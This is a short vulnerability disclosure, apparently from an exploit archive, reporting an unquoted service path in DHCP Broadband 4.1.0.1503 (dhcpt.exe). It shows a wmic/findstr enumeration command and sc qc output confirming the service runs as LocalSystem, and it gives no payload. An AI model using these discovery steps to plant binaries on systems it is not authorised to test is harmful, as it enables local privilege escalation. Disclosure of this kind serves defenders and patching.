DHCP Broadband 4.1.0.1503 Unquoted Service Path

`# Exploit Title: DHCP Broadband 4.1.0.1503 - 'dhcpt.exe' Unquoted Service Path  
# Discovery by: Erick Galindo   
# Discovery Date: 2020-05-07  
# Vendor Homepage: https://www.weird-solutions.com  
# Software : https://www.weird-solutions.com/download/products/dhcpbbv4_retail_x64.exe  
# Tested Version: 4.1.0.1503  
# Vulnerability Type: Unquoted Service Path  
# Tested on OS: Windows 10 Pro x64 es  
# Step to discover Unquoted Service Path:  
  
C:\> wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "DHCP"  
DHCP Broadband 4 DHCP Broadband 4 C:\Program Files\DHCP Broadband 4\dhcpt.exe Auto  
  
# Service info  
  
C:\>sc qc "DHCP Broadband 4"  
[SC] QueryServiceConfig CORRECTO  
  
NOMBRE_SERVICIO: DHCP Broadband 4  
TIPO : 10 WIN32_OWN_PROCESS  
TIPO_INICIO : 2 AUTO_START  
CONTROL_ERROR : 1 NORMAL  
NOMBRE_RUTA_BINARIO: C:\Program Files\DHCP Broadband 4\dhcpt.exe  
GRUPO_ORDEN_CARGA :  
ETIQUETA : 0  
NOMBRE_MOSTRAR : DHCP Broadband 4  
DEPENDENCIAS : Nsi  
: Afd  
: NetBT  
: Tcpip  
NOMBRE_INICIO_SERVICIO: LocalSystem  
  
#Exploit:  
  
This vulnerability could permit executing code during startup or reboot with the escalated privileges.  
  
`